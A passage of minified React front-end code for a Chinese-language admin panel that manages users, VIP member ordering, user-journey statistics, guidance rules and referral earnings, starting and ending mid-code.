0:Pe.error)||"更新排序序号失败");return}ie.success("已更新排序序号"),Kr(!1),Rr(null),await Wn()}catch{ie.error("更新排序序号失败")}finally{Ia(!1)}},Ra=(W,Pe)=>{W.dataTransfer.effectAllowed="move",W.dataTransfer.setData("text/plain",Pe),q(Pe)},Hl=(W,Pe)=>{W.preventDefault(),We!==Pe&&Je(Pe)},ta=()=>{q(null),Je(null)},Ot=async(W,Pe)=>{W.preventDefault();const Ve=W.dataTransfer.getData("text/plain")||Hn;if(q(null),Je(null),!Ve||Ve===Pe)return;const Ge=rn.find(Qt=>Qt.id===Ve),Nn=rn.find(Qt=>Qt.id===Pe);if(!Ge||!Nn)return;const gr=Ge.vipSort??rn.findIndex(Qt=>Qt.id===Ve)+1,Po=Nn.vipSort??rn.findIndex(Qt=>Qt.id===Pe)+1;Rn(Qt=>{const Un=[...Qt],ps=Un.findIndex(Oa=>Oa.id===Ve),Os=Un.findIndex(Oa=>Oa.id===Pe);if(ps===-1||Os===-1)return Qt;const na=[...Un],[Wl,_i]=[na[ps],na[Os]];return na[ps]={..._i,vipSort:gr},na[Os]={...Wl,vipSort:Po},na});try{const[Qt,Un]=await Promise.all([zt("/api/db/users",{id:Ve,vipSort:Po}),zt("/api/db/users",{id:Pe,vipSort:gr})]);if(!(Qt!=null&&Qt.success)||!(Un!=null&&Un.success)){ie.error((Qt==null?void 0:Qt.error)||(Un==null?void 0:Un.error)||"更新排序失败"),await Wn();return}ie.success("已更新排序"),await Wn()}catch{ie.error("更新排序失败"),await Wn()}},Oi=b.useCallback(async()=>{gt(!0);try{const W=await De("/api/db/users/journey-stats");W!=null&&W.success&&W.stats&&ct(W.stats)}catch{}finally{gt(!1)}},[]);return s.jsxs("div",{className:"p-8 w-full",children:[I&&s.jsxs("div",{className:"mb-4 px-4 py-3 rounded-lg bg-red-500/20 border border-red-500/50 text-red-400 text-sm flex items-center justify-between",children:[s.jsx("span",{children:I}),s.jsx("button",{type:"button",onClick:()=>O(null),children:"×"})]}),s.jsx("div",{className:"flex justify-between items-center mb-6",children:s.jsxs("div",{children:[s.jsx("h2",{className:"text-2xl font-bold text-white",children:"用户管理"}),s.jsxs("p",{className:"text-gray-400 mt-1 text-sm",children:["共 ",i," 位注册用户",L&&" · RFM 排序中"]})]})}),s.jsxs(yd,{defaultValue:"users",className:"w-full",children:[s.jsxs(Ll,{className:"bg-[#0a1628] border border-gray-700/50 p-1 mb-6 flex-wrap h-auto gap-1",children:[s.jsxs(Zt,{value:"users",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] flex items-center gap-1.5",children:[s.jsx(Zn,{className:"w-4 h-4"})," 用户列表"]}),s.jsxs(Zt,{value:"journey",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] flex items-center gap-1.5",onClick:Oi,children:[s.jsx(ml,{className:"w-4 h-4"})," 用户旅程总览"]}),s.jsxs(Zt,{value:"rules",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] flex items-center gap-1.5",onClick:Pt,children:[s.jsx(lo,{className:"w-4 h-4"})," 规则配置"]}),s.jsxs(Zt,{value:"vip-roles",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] flex items-center gap-1.5",onClick:Wn,children:[s.jsx(yl,{className:"w-4 h-4"})," 超级个体列表"]})]}),s.jsxs(en,{value:"users",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4 justify-end flex-wrap",children:[s.jsxs(te,{variant:"outline",onClick:()=>Rt(!0),disabled:E,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(Ke,{className:`w-4 h-4 mr-2 ${E?"animate-spin":""}`})," 刷新"]}),s.jsxs("select",{value:w,onChange:W=>{const Pe=W.target.value;v(Pe),u(1),n&&(t.delete("pool"),e(t))},className:"bg-[#0f2137] border border-gray-700 text-white rounded-lg px-3 py-2 text-sm",disabled:L,children:[s.jsx("option",{value:"all",children:"全部用户"}),s.jsx("option",{value:"vip",children:"VIP会员(超级个体)"}),s.jsx("option",{value:"complete",children:"完善资料用户"})]}),s.jsxs("div",{className:"relative",children:[s.jsx(Na,{className:"absolute left-3 top-1/2 -translate-y-1/2 w-4 h-4 text-gray-500"}),s.jsx(se,{type:"text",placeholder:"搜索用户...",className:"pl-10 bg-[#0f2137] border-gray-700 text-white placeholder:text-gray-500 w-56",value:m,onChange:W=>g(W.target.value)})]}),s.jsxs(te,{onClick:Is,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(Lg,{className:"w-4 h-4 mr-2"})," 添加用户"]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:s.jsx(Ee,{className:"p-0",children:k?s.jsxs("div",{className:"flex items-center justify-center py-12",children:[s.jsx(Ke,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsxs("div",{children:[s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"用户信息"}),s.jsx(ke,{className:"text-gray-400",children:"绑定信息"}),s.jsx(ke,{className:"text-gray-400",children:"购买状态"}),s.jsx(ke,{className:"text-gray-400",children:"分销收益"}),s.jsxs(ke,{className:"text-gray-400 cursor-pointer select-none",onClick:mr,children:[s.jsxs("div",{className:"flex items-center gap-1 group",children:[s.jsx($c,{className:"w-3.5 h-3.5"}),s.jsx("span",{children:"RFM分值"}),L?D==="desc"?s.jsx(Zc,{className:"w-3.5 h-3.5 text-[#38bdac]"}):s.jsx(Kw,{className:"w-3.5 h-3.5 text-[#38bdac]"}):s.jsx(Em,{className:"w-3.5 h-3.5 text-gray-600 group-hover:text-gray-400"})]}),L&&s.jsx("div",{className:"text-[10px] text-[#38bdac] font-normal mt-0.5",children:"点击切换方向/关闭"})]}),s.jsx(ke,{className:"text-gray-400",children:"注册时间"}),s.jsx(ke,{className:"text-right text-gray-400",children:"操作"})]})}),s.jsxs(dr,{children:[r.map(W=>{var Pe,Ve,Ge;return s.jsxs(it,{className:"hover:bg-[#0a1628] border-gray-700/50",children:[s.jsx(ve,{children:s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-10 h-10 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-sm font-medium text-[#38bdac]",children:W.avatar?s.jsx("img",{src:W.avatar,className:"w-full h-full rounded-full object-cover",alt:""}):((Pe=W.nickname)==null?void 0:Pe.charAt(0))||"?"}),s.jsxs("div",{children:[s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("button",{type:"button",onClick:()=>{ue(W.id),B(!0)},className:"font-medium text-[#38bdac] hover:text-[#2da396] hover:underline text-left",children:W.nickname}),W.isAdmin&&s.jsx(qe,{className:"bg-purple-500/20 text-purple-400 hover:bg-purple-500/20 border-0 text-xs",children:"管理员"}),W.openId&&!((Ve=W.id)!=null&&Ve.startsWith("user_"))&&s.jsx(qe,{className:"bg-green-500/20 text-green-400 hover:bg-green-500/20 border-0 text-xs",children:"微信"})]}),s.jsx("p",{className:"text-xs text-gray-500 font-mono",children:W.openId?W.openId.slice(0,12)+"...":(Ge=W.id)==null?void 0:Ge.slice(0,12)})]})]})}),s.jsx(ve,{children:s.jsxs("div",{className:"space-y-1",children:[W.phone&&s.jsxs("div",{className:"flex items-center gap-1 text-xs",children:[s.jsx("span",{className:"text-gray-500",children:"📱"}),s.jsx("span",{className:"text-gray-300",children:W.phone})]}),W.wechatId&&s.jsxs("div",{className:"flex items-center gap-1 text-xs",children:[s.jsx("span",{className:"text-gray-500",children:"💬"}),s.jsx("span",{className:"text-gray-300",children:W.wechatId})]}),W.openId&&s.jsxs("div",{className:"flex items-center gap-1 text-xs",children:[s.jsx("span",{className:"text-gray-500",children:"🔗"}),s.jsxs("span",{className:"text-gray-500 truncate max-w-[100px]",title:W.openId,children:[W.openId.slice(0,12),"..."]})]}),!W.phone&&!W.wechatId&&!W.openId&&s.jsx("span",{className:"text-gray-600 text-xs",children:"未绑定"})]})}),s.jsx(ve,{children:W.hasFullBook?s.jsx(qe,{className:"bg-amber-500/20 text-amber-400 hover:bg-amber-500/20 border-0",children:"VIP"}):s.jsx(qe,{variant:"outline",className:"text-gray-500 border-gray-600",children:"未购买"})}),s.jsx(ve,{children:s.jsxs("div",{className:"space-y-1",children:[s.jsxs("div",{className:"text-white font-medium",children:["¥",parseFloat(String(W.earnings||0)).toFixed(2)]}),parseFloat(String(W.pendingEarnings||0))>0&&s.jsxs("div",{className:"text-xs text-yellow-400",children:["待提现: ¥",parseFloat(String(W.pendingEarnings||0)).toFixed(2)]}),s.jsxs("div",{className:"text-xs text-[#38bdac] cursor-pointer hover:underline flex items-center gap-1",onClick:()=>ge(W),role:"button",tabIndex:0,onKeyDown:Nn=>Nn.key==="Enter"&&ge(W),children:[s.jsx(Zn,{className:"w-3 h-3"})," 绑定",W.referralCount||0,"人"]})]})}),s.jsx(ve,{children:W.rfmScore!==void 0?s.jsx("div",{className:"flex flex-col gap-1",children:s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("span",{className:"text-white font-bold text-base",children:W.rfmScore}),s.jsx(qe,{className:`border-0 text-xs ${wr(W.rfmLevel)}`,children:W.rfmLevel})]})}):s.jsxs("span",{className:"text-gray-600 text-sm",children:["— ",s.jsx("span",{className:"text-xs text-gray-700",children:"点列头排序"})]})}),s.jsx(ve,{className:"text-gray-400",children:W.createdAt?new Date(W.createdAt).toLocaleDateString():"-"}),s.jsx(ve,{className:"text-right",children:s.jsxs("div",{className:"flex items-center justify-end gap-1",children:[s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>{ue(W.id),B(!0)},className:"text-gray-400 hover:text-blue-400 hover:bg-blue-400/10",title:"用户详情",children:s.jsx(Ig,{className:"w-4 h-4"})}),s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>Wr(W),className:"text-gray-400 hover:text-[#38bdac] hover:bg-[#38bdac]/10",title:"编辑用户",children:s.jsx(Wt,{className:"w-4 h-4"})}),s.jsx(te,{variant:"ghost",size:"sm",className:"text-red-400 hover:text-red-300 hover:bg-red-500/10",onClick:()=>As(W.id),title:"删除",children:s.jsx(Jn,{className:"w-4 h-4"})})]})})]},W.id)}),r.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:7,className:"text-center py-12 text-gray-500",children:"暂无用户数据"})})]})]}),s.jsx(is,{page:c,totalPages:gn,total:i,pageSize:h,onPageChange:u,onPageSizeChange:W=>{f(W),u(1)}})]})})})]}),s.jsxs(en,{value:"journey",children:[s.jsxs("div",{className:"flex items-center justify-between mb-5",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"用户从注册到 VIP 的完整行动路径,点击各阶段查看用户动态"}),s.jsxs(te,{variant:"outline",onClick:Oi,disabled:nt,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(Ke,{className:`w-4 h-4 mr-2 ${nt?"animate-spin":""}`})," 刷新数据"]})]}),s.jsxs("div",{className:"relative mb-8",children:[s.jsx("div",{className:"absolute top-16 left-0 right-0 h-0.5 bg-gradient-to-r from-blue-500/20 via-[#38bdac]/30 to-amber-500/20 mx-20"}),s.jsx("div",{className:"grid grid-cols-4 gap-4 lg:grid-cols-8",children:Ou.map((W,Pe)=>s.jsxs("div",{className:"relative flex flex-col items-center",children:[s.jsxs("div",{className:`relative w-full p-3 rounded-xl border ${W.color} text-center cursor-default`,children:[s.jsx("div",{className:"text-2xl mb-1",children:W.icon}),s.jsx("div",{className:`text-xs font-medium ${W.color.split(" ").find(Ve=>Ve.startsWith("text-"))}`,children:W.label}),xt[W.id]!==void 0&&s.jsxs("div",{className:"mt-1.5 text-xs text-gray-400",children:[s.jsx("span",{className:"font-bold text-white",children:xt[W.id]})," 人"]}),s.jsx("div",{className:"absolute -top-2.5 -left-2.5 w-5 h-5 rounded-full bg-[#0a1628] border border-gray-700 flex items-center justify-center text-[10px] text-gray-500",children:Pe+1})]}),Pes.jsxs("div",{className:"flex items-start gap-3 p-2 bg-[#0a1628] rounded",children:[s.jsx("span",{className:"text-[#38bdac] font-mono text-xs shrink-0 mt-0.5",children:W.step}),s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-300",children:W.action}),s.jsxs("p",{className:"text-gray-600 text-xs",children:["→ ",W.next]})]})]},W.step))})]}),s.jsxs("div",{className:"bg-[#0f2137] border border-gray-700/50 rounded-lg p-4",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-3",children:[s.jsx(Br,{className:"w-4 h-4 text-purple-400"}),s.jsx("span",{className:"text-white font-medium",children:"行为锚点统计"}),s.jsx("span",{className:"text-gray-500 text-xs ml-auto",children:"实时更新"})]}),nt?s.jsx("div",{className:"flex items-center justify-center py-8",children:s.jsx(Ke,{className:"w-5 h-5 text-[#38bdac] animate-spin"})}):Object.keys(xt).length>0?s.jsx("div",{className:"space-y-2",children:Ou.map(W=>{const Pe=xt[W.id]||0,Ve=Math.max(...Ou.map(Nn=>xt[Nn.id]||0),1),Ge=Math.round(Pe/Ve*100);return s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsxs("span",{className:"text-gray-500 text-xs w-20 shrink-0",children:[W.icon," ",W.label]}),s.jsx("div",{className:"flex-1 h-2 bg-[#0a1628] rounded-full overflow-hidden",children:s.jsx("div",{className:"h-full bg-[#38bdac]/60 rounded-full transition-all",style:{width:`${Ge}%`}})}),s.jsx("span",{className:"text-gray-400 text-xs w-10 text-right",children:Pe})]},W.id)})}):s.jsx("div",{className:"text-center py-8",children:s.jsx("p",{className:"text-gray-500 text-sm",children:"点击「刷新数据」加载统计"})})]})]})]}),s.jsxs(en,{value:"rules",children:[s.jsxs("div",{className:"mb-4 flex items-center justify-between",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"用户旅程引导规则,定义各行为节点的触发条件与引导内容"}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsxs(te,{variant:"outline",onClick:Pt,disabled:lt,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(Ke,{className:`w-4 h-4 mr-2 ${lt?"animate-spin":""}`})," 刷新"]}),s.jsxs(te,{onClick:()=>{In(null),Yt({title:"",description:"",trigger:"",sort:0,enabled:!0}),yt(!0)},className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(hn,{className:"w-4 h-4 mr-2"})," 添加规则"]})]})]}),lt?s.jsx("div",{className:"flex items-center justify-center py-12",children:s.jsx(Ke,{className:"w-6 h-6 text-[#38bdac] animate-spin"})}):Re.length===0?s.jsxs("div",{className:"text-center py-16 bg-[#0f2137] rounded-lg border border-gray-700/50",children:[s.jsx(Br,{className:"w-12 h-12 text-[#38bdac]/30 mx-auto mb-4"}),s.jsx("p",{className:"text-gray-400 mb-4",children:"暂无规则(重启服务将自动写入10条默认规则)"}),s.jsxs(te,{onClick:Pt,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(Ke,{className:"w-4 h-4 mr-2"})," 重新加载"]})]}):s.jsx("div",{className:"space-y-2",children:Re.map(W=>s.jsx("div",{className:`p-4 rounded-lg border transition-all ${W.enabled?"bg-[#0f2137] border-gray-700/50":"bg-[#0a1628]/50 border-gray-700/30 opacity-55"}`,children:s.jsxs("div",{className:"flex items-start justify-between",children:[s.jsxs("div",{className:"flex-1",children:[s.jsxs("div",{className:"flex items-center gap-2 flex-wrap mb-1",children:[s.jsx(Wt,{className:"w-4 h-4 text-[#38bdac] shrink-0"}),s.jsx("span",{className:"text-white font-medium",children:W.title}),W.trigger&&s.jsxs(qe,{className:"bg-[#38bdac]/10 text-[#38bdac] border border-[#38bdac]/30 text-xs",children:["触发:",W.trigger]}),s.jsx(qe,{className:`text-xs border-0 ${W.enabled?"bg-green-500/20 text-green-400":"bg-gray-500/20 text-gray-400"}`,children:W.enabled?"启用":"禁用"})]}),W.description&&s.jsx("p",{className:"text-gray-400 text-sm ml-6",children:W.description})]}),s.jsxs("div",{className:"flex items-center gap-2 ml-4 shrink-0",children:[s.jsx(kt,{checked:W.enabled,onCheckedChange:()=>Xs(W)}),s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>{In(W),Yt({title:W.title,description:W.description,trigger:W.trigger,sort:W.sort,enabled:W.enabled}),yt(!0)},className:"text-gray-400 hover:text-[#38bdac] hover:bg-[#38bdac]/10",children:s.jsx(Wt,{className:"w-4 h-4"})}),s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>Qs(W.id),className:"text-red-400 hover:text-red-300 hover:bg-red-500/10",children:s.jsx(Jn,{className:"w-4 h-4"})})]})]})},W.id))})]}),s.jsxs(en,{value:"vip-roles",children:[s.jsxs("div",{className:"mb-4 flex items-center justify-between",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"展示当前所有有效的超级个体(VIP 用户),用于检查会员信息与排序值。"}),s.jsx("p",{className:"text-xs text-[#38bdac]",children:"提示:按住任意一行即可拖拽排序,释放后将同步更新小程序展示顺序。"})]}),s.jsx("div",{className:"flex items-center gap-2",children:s.jsxs(te,{variant:"outline",onClick:Wn,disabled:pr,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(Ke,{className:`w-4 h-4 mr-2 ${pr?"animate-spin":""}`})," ","刷新"]})})]}),pr?s.jsxs("div",{className:"flex items-center justify-center py-12",children:[s.jsx(Ke,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):rn.length===0?s.jsxs("div",{className:"text-center py-16 bg-[#0f2137] rounded-lg border border-gray-700/50",children:[s.jsx(yl,{className:"w-12 h-12 text-amber-400/30 mx-auto mb-4"}),s.jsx("p",{className:"text-gray-400 mb-4",children:"当前没有有效的超级个体用户。"})]}):s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:s.jsx(Ee,{className:"p-0",children:s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400 w-16",children:"序号"}),s.jsx(ke,{className:"text-gray-400",children:"成员"}),s.jsx(ke,{className:"text-gray-400 min-w-48",children:"超级个体标签"}),s.jsx(ke,{className:"text-gray-400 w-24",children:"排序值"}),s.jsx(ke,{className:"text-gray-400 w-40 text-right",children:"操作"})]})}),s.jsx(dr,{children:rn.map((W,Pe)=>{var Nn;const Ve=Hn===W.id,Ge=We===W.id;return s.jsxs(it,{draggable:!0,onDragStart:gr=>Ra(gr,W.id),onDragOver:gr=>Hl(gr,W.id),onDrop:gr=>Ot(gr,W.id),onDragEnd:ta,className:`border-gray-700/50 cursor-grab active:cursor-grabbing select-none ${Ve?"opacity-60":""} ${Ge?"bg-[#38bdac]/10":""}`,children:[s.jsx(ve,{className:"text-gray-300",children:Pe+1}),s.jsx(ve,{children:s.jsxs("div",{className:"flex items-center gap-3",children:[W.avatar?s.jsx("img",{src:W.avatar,className:"w-8 h-8 rounded-full object-cover border border-amber-400/60"}):s.jsx("div",{className:"w-8 h-8 rounded-full bg-amber-500/20 border border-amber-400/60 flex items-center justify-center text-amber-300 text-sm",children:((Nn=W.name)==null?void 0:Nn[0])||"创"}),s.jsx("div",{className:"min-w-0",children:s.jsx("div",{className:"text-white text-sm truncate",children:W.name})})]})}),s.jsx(ve,{className:"text-gray-300 whitespace-nowrap",children:W.vipRole||s.jsx("span",{className:"text-gray-500",children:"(未设置超级个体标签)"})}),s.jsx(ve,{className:"text-gray-300",children:W.vipSort??Pe+1}),s.jsx(ve,{className:"text-right text-xs text-gray-300",children:s.jsxs("div",{className:"inline-flex items-center gap-1.5",children:[s.jsx(te,{variant:"ghost",size:"sm",className:"h-7 w-7 px-0 text-amber-300 hover:text-amber-200",onClick:()=>Rs(W),title:"设置超级个体标签",children:s.jsx(zc,{className:"w-3.5 h-3.5"})}),s.jsx(te,{variant:"ghost",size:"sm",className:"h-7 w-7 px-0 text-[#38bdac] hover:text-[#5fe0cd]",onClick:()=>{ue(W.id),B(!0)},title:"编辑资料",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),s.jsx(te,{variant:"ghost",size:"sm",className:"h-7 w-7 px-0 text-sky-300 hover:text-sky-200",onClick:()=>qr(W),title:"设置排序序号",children:s.jsx(Em,{className:"w-3.5 h-3.5"})})]})})]},W.id)})})]})})})]})]}),s.jsx(Dt,{open:er,onOpenChange:W=>{Kr(W),W||Rr(null)},children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-sm",children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(Em,{className:"w-5 h-5 text-[#38bdac]"}),"设置排序 — ",ea==null?void 0:ea.name]})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsx(X,{className:"text-gray-300 text-sm",children:"排序序号(数字越小越靠前)"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如:1",value:Pi,onChange:W=>Aa(W.target.value)})]}),s.jsxs(on,{children:[s.jsxs(te,{variant:"outline",onClick:()=>Kr(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(ir,{className:"w-4 h-4 mr-2"}),"取消"]}),s.jsxs(te,{onClick:Gr,disabled:Ro,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),Ro?"保存中...":"保存"]})]})]})}),s.jsx(Dt,{open:Zs,onOpenChange:W=>{ft(W),W||Ur(null)},children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-md",children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(yl,{className:"w-5 h-5 text-amber-400"}),"设置超级个体标签 — ",xn==null?void 0:xn.name]})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsx(X,{className:"text-gray-300 text-sm",children:"选择或输入标签"}),s.jsx("div",{className:"flex flex-wrap gap-2",children:hs.map(W=>s.jsx(te,{variant:Ir===W?"default":"outline",size:"sm",className:Ir===W?"bg-[#38bdac] hover:bg-[#2da396] text-white":"border-gray-600 text-gray-300 hover:bg-gray-700/50",onClick:()=>ds(W),children:W},W))}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"或手动输入"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如:创业者、资源整合者等",value:Ir,onChange:W=>ds(W.target.value)})]})]}),s.jsxs(on,{children:[s.jsxs(te,{variant:"outline",onClick:()=>ft(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(ir,{className:"w-4 h-4 mr-2"}),"取消"]}),s.jsxs(te,{onClick:()=>Ma(Ir),disabled:Dn,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),Dn?"保存中...":"保存"]})]})]})}),s.jsx(Dt,{open:Z,onOpenChange:ne,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-lg",children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[fe?s.jsx(Wt,{className:"w-5 h-5 text-[#38bdac]"}):s.jsx(Lg,{className:"w-5 h-5 text-[#38bdac]"}),fe?"编辑用户":"添加用户"]})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"手机号"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"请输入手机号",value:ce.phone,onChange:W=>ye({...ce,phone:W.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"昵称"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"请输入昵称",value:ce.nickname,onChange:W=>ye({...ce,nickname:W.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:fe?"新密码 (留空则不修改)":"密码"}),s.jsx(se,{type:"password",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:fe?"留空则不修改":"请输入密码",value:ce.password,onChange:W=>ye({...ce,password:W.target.value})})]}),s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx(X,{className:"text-gray-300",children:"管理员权限"}),s.jsx(kt,{checked:ce.isAdmin,onCheckedChange:W=>ye({...ce,isAdmin:W})})]}),s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx(X,{className:"text-gray-300",children:"已购全书"}),s.jsx(kt,{checked:ce.hasFullBook,onCheckedChange:W=>ye({...ce,hasFullBook:W})})]})]}),s.jsxs(on,{children:[s.jsxs(te,{variant:"outline",onClick:()=>ne(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(ir,{className:"w-4 h-4 mr-2"}),"取消"]}),s.jsxs(te,{onClick:pe,disabled:$,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),$?"保存中...":"保存"]})]})]})}),s.jsx(Dt,{open:ln,onOpenChange:yt,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-lg",children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(Wt,{className:"w-5 h-5 text-[#38bdac]"}),nn?"编辑规则":"添加规则"]})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"规则标题 *"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"例:匹配后填写头像、付款1980需填写信息",value:Mt.title,onChange:W=>Yt({...Mt,title:W.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"规则描述"}),s.jsx(_l,{className:"bg-[#0a1628] border-gray-700 text-white min-h-[80px] resize-none",placeholder:"详细说明规则内容...",value:Mt.description,onChange:W=>Yt({...Mt,description:W.target.value})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"触发条件"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"例:完成匹配、付款后、注册时",value:Mt.trigger,onChange:W=>Yt({...Mt,trigger:W.target.value})})]}),s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx("div",{children:s.jsx(X,{className:"text-gray-300",children:"启用状态"})}),s.jsx(kt,{checked:Mt.enabled,onCheckedChange:W=>Yt({...Mt,enabled:W})})]})]}),s.jsxs(on,{children:[s.jsxs(te,{variant:"outline",onClick:()=>yt(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(ir,{className:"w-4 h-4 mr-2"}),"取消"]}),s.jsxs(te,{onClick:On,disabled:$,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),$?"保存中...":"保存"]})]})]})}),s.jsx(Dt,{open:oe,onOpenChange:P,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-2xl max-h-[80vh] overflow-auto",children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(Zn,{className:"w-5 h-5 text-[#38bdac]"}),"绑定关系 - ",le==null?void 0:le.nickname]})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("div",{className:"grid grid-cols-4 gap-3",children:[s.jsxs("div",{className:"bg-[#0a1628] rounded-lg p-3 text-center",children:[s.jsx("div",{className:"text-2xl font-bold text-[#38bdac]",children:((fs=K.stats)==null?void 0:fs.total)||0}),s.jsx("div",{className:"text-xs text-gray-400",children:"绑定总数"})]}),s.jsxs("div",{className:"bg-[#0a1628] rounded-lg p-3 text-center",children:[s.jsx("div",{className:"text-2xl font-bold text-green-400",children:((Di=K.stats)==null?void 0:Di.purchased)||0}),s.jsx("div",{className:"text-xs text-gray-400",children:"已付费"})]}),s.jsxs("div",{className:"bg-[#0a1628] rounded-lg p-3 text-center",children:[s.jsxs("div",{className:"text-2xl font-bold text-yellow-400",children:["¥",(((Ps=K.stats)==null?void 0:Ps.earnings)||0).toFixed(2)]}),s.jsx("div",{className:"text-xs text-gray-400",children:"累计收益"})]}),s.jsxs("div",{className:"bg-[#0a1628] rounded-lg p-3 text-center",children:[s.jsxs("div",{className:"text-2xl font-bold text-orange-400",children:["¥",(((Li=K.stats)==null?void 0:Li.pendingEarnings)||0).toFixed(2)]}),s.jsx("div",{className:"text-xs text-gray-400",children:"待提现"})]})]}),z?s.jsxs("div",{className:"flex items-center justify-center py-8",children:[s.jsx(Ke,{className:"w-5 h-5 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):(((Pa=K.referrals)==null?void 0:Pa.length)??0)>0?s.jsx("div",{className:"space-y-2 max-h-[300px] overflow-y-auto",children:(K.referrals??[]).map((W,Pe)=>{var Ge;const Ve=W;return s.jsxs("div",{className:"flex items-center justify-between bg-[#0a1628] rounded-lg p-3",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-sm text-[#38bdac]",children:((Ge=Ve.nickname)==null?void 